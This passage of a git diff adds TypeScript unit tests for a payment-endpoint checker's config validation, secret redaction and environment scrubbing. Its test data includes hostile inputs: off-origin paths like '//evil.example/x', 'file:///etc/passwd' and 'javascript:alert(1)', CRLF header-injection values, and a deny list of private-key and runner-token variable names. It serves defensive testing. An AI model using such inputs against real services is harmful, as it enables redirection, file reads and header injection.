2.5, 5]) { + const config = await fixture(); + config["environments"]["local"]["maxRunUsd"] = value; + assert.equal(validateConfig(config).environments["local"]?.maxRunUsd, value); + } + }); + + it("refuses maxRunUsd above 5, at or below 0, and anything that is not a finite number", async () => { + for (const value of [5.01, 6, 100, 0, -1, "2", null, true, [], {}]) { + await refusesWith((config) => { config["environments"]["local"]["maxRunUsd"] = value; }, "environments.local.maxRunUsd", /above 0 and at most 5/); + } + }); +}); + +describe("secret-shaped values", () => { + it("refuses a Stellar secret key anywhere in the file, naming the path and never the value", async () => { + const places: ReadonlyArray<[(config: Json) => void, string]> = [ + [(config) => { config["service"]["start"] = `node server.js --key ${FAKE_SECRET}`; }, "service.start"], + [(config) => { config["environments"]["local"]["baseUrl"] = `http://127.0.0.1:3000/${FAKE_SECRET}`; }, "environments.local.baseUrl"], + [(config) => { config["environments"]["local"]["network"] = FAKE_SECRET; }, "environments.local.network"], + [(config) => { config["endpoints"][1]["body"] = { text: FAKE_SECRET }; }, "endpoints[1].body.text"], + [(config) => { config["endpoints"][1]["body"] = [FAKE_SECRET]; }, "endpoints[1].body[0]"], + [(config) => { config["endpoints"][2]["body"] = `raw ${FAKE_SECRET}`; }, "endpoints[2].body"], + [(config) => { config["endpoints"][1]["headers"]["x-note"] = FAKE_SECRET; }, "endpoints[1].headers.x-note"], + [(config) => { config["endpoints"][1]["reject"]["note"] = FAKE_SECRET; }, "endpoints[1].reject.note"], + ]; + for (const [mutate, path] of places) { + const error = await refusesWith(mutate, path, /Stellar secret key/); + assert.equal(error.message.includes(FAKE_SECRET), false, path); + assert.equal(JSON.stringify(error.issues).includes(FAKE_SECRET), false, path); + } + }); + + it("does not take a public key, a contract address or a transaction hash for a secret", async () => { + const config = await fixture(); + config["endpoints"][1]["body"] = { account: PUBLIC_KEY, contract: CONTRACT, tx: "ab".repeat(32) }; + assert.doesNotThrow(() => validateConfig(config)); + }); + + it("echoes no value of any refusal: a canary in every refused field stays out of the message", async () => { + const canary = "canary-value-31337"; + const mutations: Array<(config: Json) => void> = [ + (config) => { config["environments"]["local"]["baseUrl"] = `ftp://${canary}`; }, + (config) => { config["environments"]["local"]["baseUrl"] = `http://${canary}:${canary}@127.0.0.1`; }, + (config) => { config["environments"]["local"]["network"] = canary; }, + (config) => { config["environments"]["local"]["rpcUrl"] = `https://user:${canary}@rpc.example.com`; }, + (config) => { config["environments"]["local"]["rpcUrl"] = `https://rpc.example.com/?key=${canary}`; }, + (config) => { config["environments"]["staging"]["pinned"]["payTo"] = `bad ${canary}`; }, + (config) => { config["endpoints"][0]["path"] = `//${canary}.example/x`; }, + (config) => { config["endpoints"][0]["path"] = canary; }, + (config) => { config["endpoints"][0]["method"] = canary; }, + (config) => { config["endpoints"][0]["protocol"] = canary; }, + (config) => { config["endpoints"][0]["name"] = `bad name ${canary}`; }, + (config) => { config["endpoints"][1]["headers"]["authorization"] = `Bearer ${canary}`; }, + (config) => { config["endpoints"][1]["headers"]["x-api-key"] = canary; }, + (config) => { config["service"]["ready"]["url"] = `http://${canary}.example/`; }, + (config) => { config["service"]["start"] = `${canary}\n${canary}`; }, + (config) => { config["extra"] = canary; }, + (config) => { config["environments"]["local"]["privateKey"] = canary; }, + (config) => { config["defaultEnvironment"] = canary; }, + ]; + for (const [index, mutate] of mutations.entries()) { + const config = await fixture(); + mutate(config); + const error = refusal(config); + assert.equal(error.message.includes(canary), false, `mutation ${index}: ${error.message}`); + } + }); +}); + +describe("environments", () => { + it("needs at least one environment, with a plain name", async () => { + await refusesWith((config) => { config["environments"] = {}; }, "environments", /at least one/); + await refusesWith((config) => { delete config["environments"]; }, "environments"); + await refusesWith((config) => { config["environments"]["bad name"] = { baseUrl: "http://127.0.0.1:1" }; }, "environments.bad name", /letters, digits/); + await refusesWith((config) => { config["environments"]["__proto__x"] = { baseUrl: "http://127.0.0.1:1" }; }, "environments.__proto__x", /letters, digits/); + }); + + it("holds baseUrl to an http(s) URL with no credentials, query or fragment", async () => { + for (const bad of [ + "ftp://127.0.0.1", "file:///etc/passwd", "javascript:alert(1)", "127.0.0.1:3000", "localhost:3000/x", "not a url", "", + "http://user@127.0.0.1:3000", "http://user:pass@127.0.0.1:3000", "http://:pass@127.0.0.1:3000", + "http://127.0.0.1:3000/?key=1", "http://127.0.0.1:3000/#frag", "http:///", 5, null, + ]) { + await refusesWith((config) => { config["environments"]["local"]["baseUrl"] = bad; }, "environments.local.baseUrl"); + } + }); + + it("states why a baseUrl with credentials is refused, without printing the URL", async () => { + const error = await refusesWith( + (config) => { config["environments"]["local"]["baseUrl"] = "http://alice:hunter2@127.0.0.1:3000"; }, + "environments.local.baseUrl", + /credentials/, + ); + assert.equal(error.message.includes("hunter2"), false); + assert.equal(error.message.includes("alice"), false); + }); + + it("checks the network is a CAIP-2 id, so a typo is caught before any run", async () => { + for (const bad of ["stellar-testnet", "stellar:mainnet", "eip155:0x14a34", "Stellar:testnet", "", 5]) { + await refusesWith((config) => { config["environments"]["local"]["network"] = bad; }, "environments.local.network"); + } + for (const good of ["stellar:testnet", "stellar:pubnet", "eip155:84532", "solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1", "ach:us"]) { + const config = await fixture(); + config["environments"]["local"]["network"] = good; + assert.equal(validateConfig(config).environments["local"]?.network, good); + } + }); + + it("takes operatedByMe only as a boolean", async () => { + for (const bad of ["true", 1, "yes", null, {}]) { + await refusesWith((config) => { config["environments"]["local"]["operatedByMe"] = bad; }, "environments.local.operatedByMe", /true or false/); + } + }); + + it("takes a pin only as payTo and asset, both present and plain", async () => { + await refusesWith((config) => { delete config["environments"]["staging"]["pinned"]["asset"]; }, "environments.staging.pinned.asset"); + await refusesWith((config) => { delete config["environments"]["staging"]["pinned"]["payTo"]; }, "environments.staging.pinned.payTo"); + await refusesWith((config) => { config["environments"]["staging"]["pinned"]["payTo"] = ""; }, "environments.staging.pinned.payTo"); + await refusesWith((config) => { config["environments"]["staging"]["pinned"]["payTo"] = "G has spaces"; }, "environments.staging.pinned.payTo"); + await refusesWith((config) => { config["environments"]["staging"]["pinned"] = "G..."; }, "environments.staging.pinned"); + const config = validateConfig(await fixture()); + assert.deepEqual(config.environments["staging"]?.pinned, { payTo: PUBLIC_KEY, asset: CONTRACT }); + }); + + it("names a defaultEnvironment that does not exist", async () => { + await refusesWith((config) => { config["defaultEnvironment"] = "nowhere"; }, "defaultEnvironment", /not one of the environments/); + }); + + it("takes an rpcUrl with no credentials and no query, and keeps it as given", async () => { + for (const bad of ["ftp://rpc.example.com", "rpc.example.com", "https://user:key@rpc.example.com", "https://rpc.example.com/?apikey=1", "https://rpc.example.com/#x", 3]) { + await refusesWith((config) => { config["environments"]["staging"]["rpcUrl"] = bad; }, "environments.staging.rpcUrl"); + } + assert.equal(validateConfig(await fixture()).environments["staging"]?.rpcUrl, "https://rpc.example.com/soroban"); + }); +}); + +describe("service", () => { + it("takes a single-line start command and a loopback ready URL", async () => { + const config = validateConfig(await fixture()); + assert.equal(config.service?.start, "npm start"); + assert.deepEqual(config.service?.ready, { url: "http://127.0.0.1:3000/", timeoutSeconds: 60 }); + }); + + it("refuses a start command with a newline or a control character, or an empty one", async () => { + for (const bad of ["a\nb", "a\u0000b", "a\u001b[31mb", "", " ", 5, "x".repeat(501)]) { + await refusesWith((config) => { config["service"]["start"] = bad; }, "service.start"); + } + }); + + it("holds the ready URL to a loopback host, so the wait never probes another service", async () => { + for (const ok of ["http://127.0.0.1:3000/", "http://localhost:8080/health", "http://[::1]:3000/", "https://127.0.0.2/"]) { + const config = await fixture(); + config["service"]["ready"]["url"] = ok; + assert.equal(validateConfig(config).service?.ready?.url, ok); + } + for (const bad of ["https://api.example.com/", "http://10.0.0.5:3000/", "http://0.0.0.0:3000/", "http://127.0.0.1.example.com/", "http://user:pw@127.0.0.1/", "ftp://127.0.0.1/", "http://localhost.example.com/"]) { + await refusesWith((config) => { config["service"]["ready"]["url"] = bad; }, "service.ready.url"); + } + }); + + it("holds timeoutSeconds to a whole number from 1 to 600", async () => { + for (const bad of [0, -1, 601, 1.5, "60", null]) { + await refusesWith((config) => { config["service"]["ready"]["timeoutSeconds"] = bad; }, "service.ready.timeoutSeconds"); + } + const config = await fixture(); + delete config["service"]["ready"]["timeoutSeconds"]; + assert.equal(validateConfig(config).service?.ready?.timeoutSeconds, 60); + }); +}); + +describe("endpoints", () => { + it("needs a non-empty list of objects", async () => { + await refusesWith((config) => { config["endpoints"] = []; }, "endpoints", /at least one/); + await refusesWith((config) => { delete config["endpoints"]; }, "endpoints"); + await refusesWith((config) => { config["endpoints"] = {}; }, "endpoints"); + await refusesWith((config) => { config["endpoints"][0] = "weather"; }, "endpoints[0]"); + }); + + it("holds the name to a plain identifier, unique", async () => { + for (const bad of ["", "a b", "a/b", "::error::x", "a".repeat(65), "-a", 5]) { + await refusesWith((config) => { config["endpoints"][0]["name"] = bad; }, "endpoints[0].name"); + } + await refusesWith((config) => { config["endpoints"][1]["name"] = "weather"; }, "endpoints[1].name", /already used/); + }); + + it("takes only the three protocols", async () => { + for (const bad of ["x402v1", "mpp", "MPP-charge", "", 5]) { + await refusesWith((config) => { config["endpoints"][0]["protocol"] = bad; }, "endpoints[0].protocol", /x402, mpp-charge or mpp-channel/); + } + }); + + it("takes only known HTTP methods, in any case, and normalises them", async () => { + await refusesWith((config) => { config["endpoints"][0]["method"] = "FETCH"; }, "endpoints[0].method"); + await refusesWith((config) => { config["endpoints"][0]["method"] = 5; }, "endpoints[0].method"); + const config = await fixture(); + config["endpoints"][0]["method"] = "head"; + assert.equal(validateConfig(config).endpoints[0]?.method, "HEAD"); + }); + + it("refuses a body on GET or HEAD, as the run would", async () => { + await refusesWith((config) => { config["endpoints"][0]["body"] = { a: 1 }; }, "endpoints[0].body", /cannot be sent with GET/); + await refusesWith((config) => { config["endpoints"][0]["method"] = "HEAD"; config["endpoints"][0]["body"] = "x"; }, "endpoints[0].body", /cannot be sent with HEAD/); + }); + + it("refuses a body over 64 KiB", async () => { + await refusesWith((config) => { config["endpoints"][1]["body"] = { text: "x".repeat(70_000) }; }, "endpoints[1].body", /64 KiB/); + }); + + it("keeps a JSON body as a value and a string body verbatim", async () => { + const config = validateConfig(await fixture()); + assert.deepEqual(config.endpoints[1]?.body, { text: "hello" }); + assert.equal(config.endpoints[2]?.body, '{"verbatim":true}'); + }); + + it("takes channel and expect only on mpp-channel, as real Stellar addresses", async () => { + await refusesWith((config) => { config["endpoints"][0]["channel"] = CONTRACT; }, "endpoints[0].channel", /mpp-channel/); + await refusesWith((config) => { config["endpoints"][3]["expect"] = { to: PUBLIC_KEY }; }, "endpoints[3].expect", /mpp-channel/); + await refusesWith((config) => { config["endpoints"][4]["channel"] = "C..."; }, "endpoints[4].channel", /contract address/); + await refusesWith((config) => { config["endpoints"][4]["expect"]["from"] = CONTRACT; }, "endpoints[4].expect.from", /account address/); + await refusesWith((config) => { config["endpoints"][4]["expect"]["token"] = PUBLIC_KEY; }, "endpoints[4].expect.token", /contract address/); + for (const bad of [0, -1, 1.5, "17280"]) { + await refusesWith((config) => { config["endpoints"][4]["expect"]["refundWaitingPeriod"] = bad; }, "endpoints[4].expect.refundWaitingPeriod"); + } + }); + + it("takes a reject variant with something to vary, and the same body rules", async () => { + await refusesWith((config) => { config["endpoints"][1]["reject"] = {}; }, "endpoints[1].reject", /method, headers or body/); + await refusesWith((config) => { config["endpoints"][1]["reject"] = { note: "only a note" }; }, "endpoints[1].reject", /method, headers or body/); + await refusesWith((config) => { config["endpoints"][1]["reject"] = { method: "GET", body: "x" }; }, "endpoints[1].reject.body", /cannot be sent with GET/); + await refusesWith((config) => { config["endpoints"][1]["reject"] = { headers: { authorization: "x" } }; }, "endpoints[1].reject.headers.authorization"); + await refusesWith((config) => { config["endpoints"][1]["reject"]["note"] = "n".repeat(201); }, "endpoints[1].reject.note"); + }); +}); + +describe("path: stays inside the origin of baseUrl (A-A06)", () => { + const BASE = "http://127.0.0.1:3000"; + + it("joins a path that starts with a single slash", () => { + assert.equal(joinTarget(BASE, "/api/weather"), "http://127.0.0.1:3000/api/weather"); + assert.equal(joinTarget(BASE, "/api/raw?mode=fast"), "http://127.0.0.1:3000/api/raw?mode=fast"); + assert.equal(joinTarget(`${BASE}/`, "/a"), "http://127.0.0.1:3000/a"); + }); + + it("keeps a path prefix in baseUrl", () => { + assert.equal(joinTarget("https://staging.example.com/v1", "/weather"), "https://staging.example.com/v1/weather"); + assert.equal(joinTarget("https://staging.example.com/v1/", "/weather"), "https://staging.example.com/v1/weather"); + }); + + it("refuses every path that could leave the origin", () => { + for (const path of [ + "//evil.example/x", "///evil.example", "/\\evil.example", "\\\\evil.example", "/\\/evil.example", + "/\t/evil.example", "/\n/evil.example", "/\r/evil.example", "/ /evil.example", "/\u0000/x", + "http://evil.example/x", "https://evil.example", "evil.example/x", "evil.example", "javascript:alert(1)", "file:///etc/passwd", + "", " ", "x", "?x=1", "#x", "/a#b", "/a\u0085b", "/a
b", "/a\u007fb", + ]) { + assert.throws(() => joinTarget(BASE, path), (error: unknown) => error instanceof ConfigError, JSON.stringify(path)); + } + }); + + it("keeps the origin even for paths that look odd but stay inside it", () => { + for (const path of ["/..//evil.example/x", "/%2F%2Fevil.example/x", "/a/../../b", "/@evil.example", "/:evil", "/a?next=//evil.example", "/a?next=http://evil.example"]) { + const url = joinTarget(BASE, path); + assert.equal(new URL(url).origin, BASE, path); + } + }); + + it("refuses the path in the config file with the path's own key", async () => { + for (const bad of ["//evil.example/x", "/\\evil.example", "https://evil.example/", "api/weather", "/\t/evil.example", 5, null]) { + await refusesWith((config) => { config["endpoints"][0]["path"] = bad; }, "endpoints[0].path"); + } + }); + + it("refuses a baseUrl that already carries a query or fragment when joining", () => { + assert.throws(() => joinTarget("http://127.0.0.1:3000/?a=1", "/x"), ConfigError); + assert.throws(() => joinTarget("http://user:pw@127.0.0.1:3000", "/x"), ConfigError); + }); +}); + +describe("header names refused in the file (A8 #7)", () => { + const REFUSED = [ + "authorization", "Authorization", "proxy-authorization", "x-authorization", + "cookie", "Cookie", "set-cookie", "x-cookie-jar", + "x-api-key", "X-API-KEY", "apikey", "x-key", "keyid", "x-private-key", + "x-token", "X-Auth-Token", "token", "x-access-token", + "x-secret", "client-secret", "x-secret-sauce", + "x-password", "password", "x-passwd-hash-password", + ]; + + for (const name of REFUSED) { + it(`refuses ${name} in endpoint headers and in a reject variant, and says to use WASIT_HEADER_`, async () => { + const error = await refusesWith((config) => { config["endpoints"][1]["headers"][name] = "v"; }, `endpoints[1].headers.${name}`, /WASIT_HEADER_/); + assert.equal(error.message.includes("\"v\""), false); + await refusesWith((config) => { config["endpoints"][1]["reject"] = { headers: { [name]: "v" } }; }, `endpoints[1].reject.headers.${name}`, /WASIT_HEADER_/); + }); + } + + it("refuses the headers Wasit sets itself, so the request stays what the check says it is", async () => { + for (const name of ["x-payment", "X-PAYMENT", "payment-signature", "payment-required", "payment-response", "host", "content-length", "connection", "transfer-encoding"]) { + await refusesWith((config) => { config["endpoints"][1]["headers"][name] = "v"; }, `endpoints[1].headers.${name}`); + } + }); + + it("refuses an invalid header name or value, and two names that differ only in case", async () => { + await refusesWith((config) => { config["endpoints"][1]["headers"]["bad name"] = "v"; }, "endpoints[1].headers.bad name", /header name/); + await refusesWith((config) => { config["endpoints"][1]["headers"]["x-ok"] = "line1\r\nX-Injected: 1"; }, "endpoints[1].headers.x-ok", /control character/); + await refusesWith((config) => { config["endpoints"][1]["headers"]["x-ok"] = 5; }, "endpoints[1].headers.x-ok", /string/); + await refusesWith((config) => { config["endpoints"][1]["headers"]["X-Tenant"] = "other"; }, "endpoints[1].headers.X-Tenant", /twice/); + }); + + it("allows an ordinary header such as x-tenant or content-type", async () => { + const config = await fixture(); + config["endpoints"][1]["headers"]["content-type"] = "application/vnd.api+json"; + config["endpoints"][1]["headers"]["accept-language"] = "en"; + assert.equal(validateConfig(config).endpoints[1]?.headers["x-tenant"], "demo"); + }); +}); + +describe("WASIT_HEADER_ (A8 #7)", () => { + it("maps a header name to its variable: upper case, hyphen written as underscore", () => { + assert.equal(headerEnvName("x-api-key"), "WASIT_HEADER_X_API_KEY"); + assert.equal(headerEnvName("Authorization"), "WASIT_HEADER_AUTHORIZATION"); + assert.equal(headerEnvName("X-Tenant-Id"), "WASIT_HEADER_X_TENANT_ID"); + }); + + it("reads the variables back into header names: lower case, underscore as hyphen", () => { + const env = { WASIT_HEADER_X_API_KEY: "k1", WASIT_HEADER_AUTHORIZATION: "Bearer t", UNRELATED: "x", WASIT_RPC_URL: "https://rpc.example.com" }; + assert.deepEqual(headersFromEnv(env), { "x-api-key": "k1", authorization: "Bearer t" }); + }); + + it("ignores a variable with no value, and refuses one with a name that cannot be a header", () => { + assert.deepEqual(headersFromEnv({ WASIT_HEADER_X_EMPTY: "", WASIT_HEADER_X_UNSET: undefined }), {}); + assert.throws(() => headersFromEnv({ WASIT_HEADER_: "v" }), (error: unknown) => error instanceof ConfigError && /WASIT_HEADER_/.test(error.message)); + assert.throws(() => headersFromEnv({ "WASIT_HEADER_BAD NAME": "v" }), ConfigError); + }); + + it("refuses the headers Wasit sets itself and a value with a control character, never printing the value", () => { + const secret = "very-secret-header-value"; + for (const env of [ + { WASIT_HEADER_X_PAYMENT: secret }, + { WASIT_HEADER_HOST: secret }, + { WASIT_HEADER_X_OK: `${secret}\r\nX-Injected: 1` }, + ]) { + assert.throws(() => headersFromEnv(env), (error: unknown) => error instanceof ConfigError && !error.message.includes(secret)); + } + }); +}); + +describe("resolveRun", () => { + const NO_ENV = {}; + + it("picks the default environment and joins each endpoint to its URL", async () => { + const run = resolveRun(validateConfig(await fixture()), {}, NO_ENV); + assert.equal(run.environment, "local"); + assert.equal(run.network, "stellar:testnet"); + assert.equal(run.networkClass, "test"); + assert.equal(run.operatedByMe, true); + assert.equal(run.endpoints[0]?.url, "http://127.0.0.1:3000/api/weather"); + assert.equal(run.endpoints[2]?.url, "http://127.0.0.1:3000/api/raw?mode=fast"); + }); + + it("selects an environment by name and keeps its path prefix, pin and run cap", async () => { + const run = resolveRun(validateConfig(await fixture()), { environment: "staging" }, NO_ENV); + assert.equal(run.endpoints[0]?.url, "https://staging.example.com/v1/api/weather"); + assert.deepEqual(run.pinned, { payTo: PUBLIC_KEY, asset: CONTRACT }); + assert.equal(run.maxRunUsd, 2); + }); + + it("classifies the network with the guard's table: pubnet is mainnet-optin, an unlisted id unknown", async () => { + const config = validateConfig(await fixture()); + assert.equal(resolveRun(config, { environment: "mainnet" }, NO_ENV).networkClass, "mainnet-optin"); + const other = await fixture(); + other["environments"]["local"]["network"] = "ach:us"; + assert.equal(resolveRun(validateConfig(other), {}, NO_ENV).networkClass, "unknown"); + }); + + it("refuses an environment that does not exist, listing the real ones, and one that is a prototype property", async () => { + const config = validateConfig(await fixture()); + for (const name of ["nowhere", "constructor", "__proto__", "toString", "hasOwnProperty"]) { + assert.throws( + () => resolveRun(config, { environment: name }, NO_ENV), + (error: unknown) => error instanceof ConfigError && /local, staging, mainnet/.test(error.message), + name, + ); + } + }); + + it("needs --env when there is no default and more than one environment, and takes the only one otherwise", async () => { + const config = await fixture(); + delete config["defaultEnvironment"]; + assert.throws(() => resolveRun(validateConfig(config), {}, NO_ENV), (error: unknown) => error instanceof ConfigError && /--env/.test(error.message)); + config["environments"] = { only: config["environments"]["local"] }; + assert.equal(resolveRun(validateConfig(config), {}, NO_ENV).environment, "only"); + }); + + it("filters endpoints by name and refuses a name it does not have", async () => { + const config = validateConfig(await fixture()); + assert.deepEqual(resolveRun(config, { endpoints: ["chat", "weather"] }, NO_ENV).endpoints.map((e) => e.name), ["weather", "chat"]); + assert.throws(() => resolveRun(config, { endpoints: ["weather", "nope"] }, NO_ENV), (error: unknown) => error instanceof ConfigError && /nope/.test(error.message) && /weather/.test(error.message)); + assert.throws(() => resolveRun(config, { endpoints: ["constructor"] }, NO_ENV), ConfigError); + }); + + it("serialises a JSON body, sends a string body verbatim, and keeps the reject variant", async () => { + const run = resolveRun(validateConfig(await fixture()), {}, NO_ENV); + assert.equal(run.endpoints[1]?.body, '{"text":"hello"}'); + assert.equal(run.endpoints[2]?.body, '{"verbatim":true}'); + assert.equal(run.endpoints[0]?.body, undefined); + assert.equal(run.endpoints[1]?.reject?.body, '{"text":""}'); + assert.equal(run.endpoints[1]?.reject?.note, "empty text must be refused"); + // The variant is exactly what the file says; how it applies to the request is the check's business. + assert.equal(run.endpoints[1]?.reject?.method, undefined); + }); + + it("merges WASIT_HEADER_* over the file's headers, by header name in any case", async () => { + const run = resolveRun(validateConfig(await fixture()), {}, { WASIT_HEADER_X_TENANT: "from-env", WASIT_HEADER_AUTHORIZATION: "Bearer t" }); + assert.deepEqual(run.endpoints[1]?.headers, { "x-tenant": "from-env", authorization: "Bearer t" }); + // The variables apply to every endpoint of the run. + assert.deepEqual(run.endpoints[0]?.headers, { "x-tenant": "from-env", authorization: "Bearer t" }); + }); + + it("lets WASIT_RPC_URL win over the file, and refuses one that is not an http(s) URL without printing it", async () => { + const config = validateConfig(await fixture()); + assert.equal(resolveRun(config, { environment: "staging" }, { WASIT_RPC_URL: "https://other.example.com/rpc?key=abc" }).rpcUrl, "https://other.example.com/rpc?key=abc"); + assert.equal(resolveRun(config, { environment: "staging" }, NO_ENV).rpcUrl, "https://rpc.example.com/soroban"); + assert.equal(resolveRun(config, { environment: "local" }, NO_ENV).rpcUrl, undefined); + assert.throws( + () => resolveRun(config, {}, { WASIT_RPC_URL: "ftp://secret-host-name.example/path?key=abc" }), + (error: unknown) => error instanceof ConfigError && /WASIT_RPC_URL/.test(error.message) && !error.message.includes("secret-host-name") && !error.message.includes("abc"), + ); + }); + + it("refuses an operatedByMe environment's payment need later, but loads a not-operated one now", async () => { + const config = await fixture(); + config["environments"]["local"]["operatedByMe"] = false; + assert.equal(resolveRun(validateConfig(config), {}, NO_ENV).operatedByMe, false); + }); +}); + +describe("describeRun: what is printed (only the origin of an RPC URL)", () => { + it("prints the environment, base URL, network and class, and the RPC origin only", async () => { + const config = validateConfig(await fixture()); + const run = resolveRun(config, { environment: "staging" }, { WASIT_RPC_URL: "https://user:pw@rpc.example.com:8443/v2/KEY-IN-PATH?apikey=KEY-IN-QUERY#KEY-IN-FRAGMENT" }); + const text = describeRun(run); + assert.match(text, /staging/); + assert.match(text, /https:\/\/staging\.example\.com\/v1/); + assert.match(text, /stellar:testnet/); + assert.match(text, /https:\/\/rpc\.example\.com:8443/); + for (const leak of ["KEY-IN-PATH", "KEY-IN-QUERY", "KEY-IN-FRAGMENT", "user", "pw@", "apikey"]) { + assert.equal(text.includes(leak), false, leak); + } + }); + + it("never prints a header value, from the file or from the environment", async () => { + const run = resolveRun(validateConfig(await fixture()), {}, { WASIT_HEADER_AUTHORIZATION: "Bearer canary-header-value" }); + const text = describeRun(run); + assert.equal(text.includes("canary-header-value"), false); + assert.equal(text.includes("demo"), false); + }); + + it("passes everything through the sanitiser", async () => { + const config = await fixture(); + config["environments"]["local"]["baseUrl"] = "http://127.0.0.1:3000/%1b[31m"; + const text = describeRun(resolveRun(validateConfig(config), {}, {})); + assert.equal(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f]/.test(text), false); + }); +}); diff --git a/packages/core/test/unit/denied-env.test.ts b/packages/core/test/unit/denied-env.test.ts new file mode 100644 index 0000000..f4330d2 --- /dev/null +++ b/packages/core/test/unit/denied-env.test.ts @@ -0,0 +1,131 @@ +/** + * The variable names that carry a key or a header value, and what is done with + * them: removed from the environment of a service Wasit starts (spec A8 #1), and + * their values kept out of every output (A-A07). The values below are made up; + * none is a key. + */ + +import assert from "node:assert/strict"; +import { describe, it } from "node:test"; + +import { DENIED_ENV_NAMES, deniedEnvValues, isDeniedEnvName, scrubEnv } from "../../src/denied-env.js"; + +const FIXED = [ + "STELLAR_PRIVATE_KEY", + "EVM_PRIVATE_KEY", + "SVM_PRIVATE_KEY", + "MPP_PAYER_SECRET", + "COMMITMENT_SECRET_HEX", + "WASIT_MAINNET_PAYER_SECRET", +]; + +describe("isDeniedEnvName", () => { + it("knows the six fixed names", () => { + assert.deepEqual([...DENIED_ENV_NAMES].sort(), [...FIXED].sort()); + for (const name of FIXED) assert.equal(isDeniedEnvName(name), true, name); + }); + + it("does not care about case: a Windows environment is case-insensitive", () => { + for (const name of FIXED) assert.equal(isDeniedEnvName(name.toLowerCase()), true, name.toLowerCase()); + assert.equal(isDeniedEnvName("Stellar_Private_Key"), true); + }); + + it("takes the whole WASIT_ namespace: header values, the RPC url and anything added later", () => { + for (const name of ["WASIT_HEADER_X_API_KEY", "WASIT_HEADER_AUTHORIZATION", "WASIT_RPC_URL", "WASIT_SOMETHING_NEW", "wasit_rpc_url"]) { + assert.equal(isDeniedEnvName(name), true, name); + } + }); + + it("leaves the variables a service needs alone, payee addresses included", () => { + for (const name of ["PATH", "HOME", "NODE_OPTIONS", "PORT", "STELLAR_PAYEE_ADDRESS", "EVM_PAYEE_ADDRESS", "MPP_STELLAR_NETWORK", "CHANNEL_CONTRACT", "WASIT"]) { + assert.equal(isDeniedEnvName(name), false, name); + } + }); +}); + +// The runner gives every step files it reads after the step (GITHUB_ENV, GITHUB_PATH, GITHUB_OUTPUT, +// GITHUB_STATE, GITHUB_STEP_SUMMARY) and tokens. A service that can write the first kind changes the +// environment or the PATH of the later steps, which hold the job's token; the second kind is the job's +// own credentials. Neither is for the service Wasit starts (review of S1, finding 3). +describe("the runner's own variables", () => { + const RUNNER = [ + "GITHUB_ENV", + "GITHUB_PATH", + "GITHUB_OUTPUT", + "GITHUB_STATE", + "GITHUB_STEP_SUMMARY", + "GH_TOKEN", + "GITHUB_TOKEN", + "ACTIONS_RUNTIME_TOKEN", + "ACTIONS_ID_TOKEN_REQUEST_TOKEN", + "ACTIONS_ID_TOKEN_REQUEST_URL", + ]; + + it("are removed from the environment of the service, in any case", () => { + for (const name of RUNNER) { + assert.equal(isDeniedEnvName(name), true, name); + assert.equal(isDeniedEnvName(name.toLowerCase()), true, name.toLowerCase()); + } + const env = Object.fromEntries(RUNNER.map((name) => [name, "/home/runner/_temp/fake"])); + assert.deepEqual(scrubEnv({ ...env, PATH: "/usr/bin" }), { PATH: "/usr/bin" }); + }); + + it("leave the harmless ones a service may read", () => { + for (const name of ["CI", "GITHUB_ACTIONS", "GITHUB_REPOSITORY", "GITHUB_SHA", "GITHUB_REF", "RUNNER_OS", "RUNNER_TEMP"]) { + assert.equal(isDeniedEnvName(name), false, name); + } + }); + + it("are not among the six fixed key names, whose values every output must hide", () => { + for (const name of RUNNER) assert.ok(!DENIED_ENV_NAMES.includes(name), name); + }); +}); + +describe("scrubEnv", () => { + const env = { + PATH: "/usr/bin", + PORT: "3000", + STELLAR_PAYEE_ADDRESS: "GPUBLIC", + STELLAR_PRIVATE_KEY: "fake-stellar-key", + evm_private_key: "fake-evm-key", + WASIT_HEADER_X_API_KEY: "fake-header-value", + WASIT_RPC_URL: "https://rpc.example/fake-key", + UNSET: undefined, + }; + + it("removes the denied names and keeps the rest", () => { + assert.deepEqual(scrubEnv(env), { PATH: "/usr/bin", PORT: "3000", STELLAR_PAYEE_ADDRESS: "GPUBLIC" }); + }); + + it("does not change what it was given", () => { + const before = JSON.stringify(env); + scrubEnv(env); + assert.equal(JSON.stringify(env), before); + }); +}); + +describe("deniedEnvValues", () => { + it("lists the values of the fixed names, the header variables and the RPC url", () => { + const values = deniedEnvValues({ + PATH: "/usr/bin", + STELLAR_PRIVATE_KEY: "fake-stellar-key", + MPP_PAYER_SECRET: "fake-mpp-key", + WASIT_HEADER_X_API_KEY: "fake-header-value", + WASIT_RPC_URL: "https://rpc.example/fake-key", + }); + assert.deepEqual( + [...values].sort(), + ["fake-header-value", "fake-mpp-key", "fake-stellar-key", "https://rpc.example/fake-key"].sort(), + ); + }); + + it("leaves out empty and unset values, and WASIT_ variables that are not secret", () => { + const values = deniedEnvValues({ + STELLAR_PRIVATE_KEY: "", + EVM_PRIVATE_KEY: undefined, + WASIT_ALLOW_DESTRUCTIVE: "1", + WASIT_CHECKS_PATH: "/x/CHECKS.md", + }); + assert.deepEqual(values, []); + }); +}); diff --git a/packages/core/test/unit/expected-actual.test.ts b/packages/core/test/unit/expected-actual.test.ts new file mode 100644 index 0000000..352625c --- /dev/null +++ b/packages/core/test/unit/expected-actual.test.ts @@ -0,0 +1,302 @@ +/** + * `expected` and `actual` on a FAIL (SOW 4.1 and 5.1, spec A4): for each FAIL, the + * reason (`detail`), what the check expected, what the service sent, and the + * fix. Both are short strings, set where the check knows them, and quote the + * service, so they pass through the one sanitiser on their way out. + * + * `detail` and `hint` are not changed by this: existing consumers keep reading + * the same strings. + */ + +import assert from "node:assert/strict"; +import http from "node:http"; +import { after, before, describe, it } from "node:test"; + +import { type CheckResult, checkStatus, toStructuredRun } from "../../src/check.js"; +import { redactValue } from "../../src/report.js"; +import { checkNetworkIdentifier, checkRequiredFields } from "../../src/x402/requirements.js"; +import { runX402ReadChecks } from "../../src/x402/simulator.js"; + +const STELLAR_ASSET = "CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA"; +const STELLAR_PAY_TO = "GBNCC3VFT7PGUMGDQU5O35SXVWWTAHCO4LFFWLYFBLQCD56DNWYWM6ZS"; + +function option(overrides: Record = {}): Record { + return { + scheme: "exact", + network: "stellar:testnet", + amount: "10000", + asset: STELLAR_ASSET, + payTo: STELLAR_PAY_TO, + maxTimeoutSeconds: 60, + ...overrides, + }; +} + +function challenge(accepts: unknown, version: unknown = 2): Record { + return { x402Version: version, accepts }; +} + +/** A service answering every request with `respond`. */ +async function service(respond: (response: http.ServerResponse) => void) { + const server = 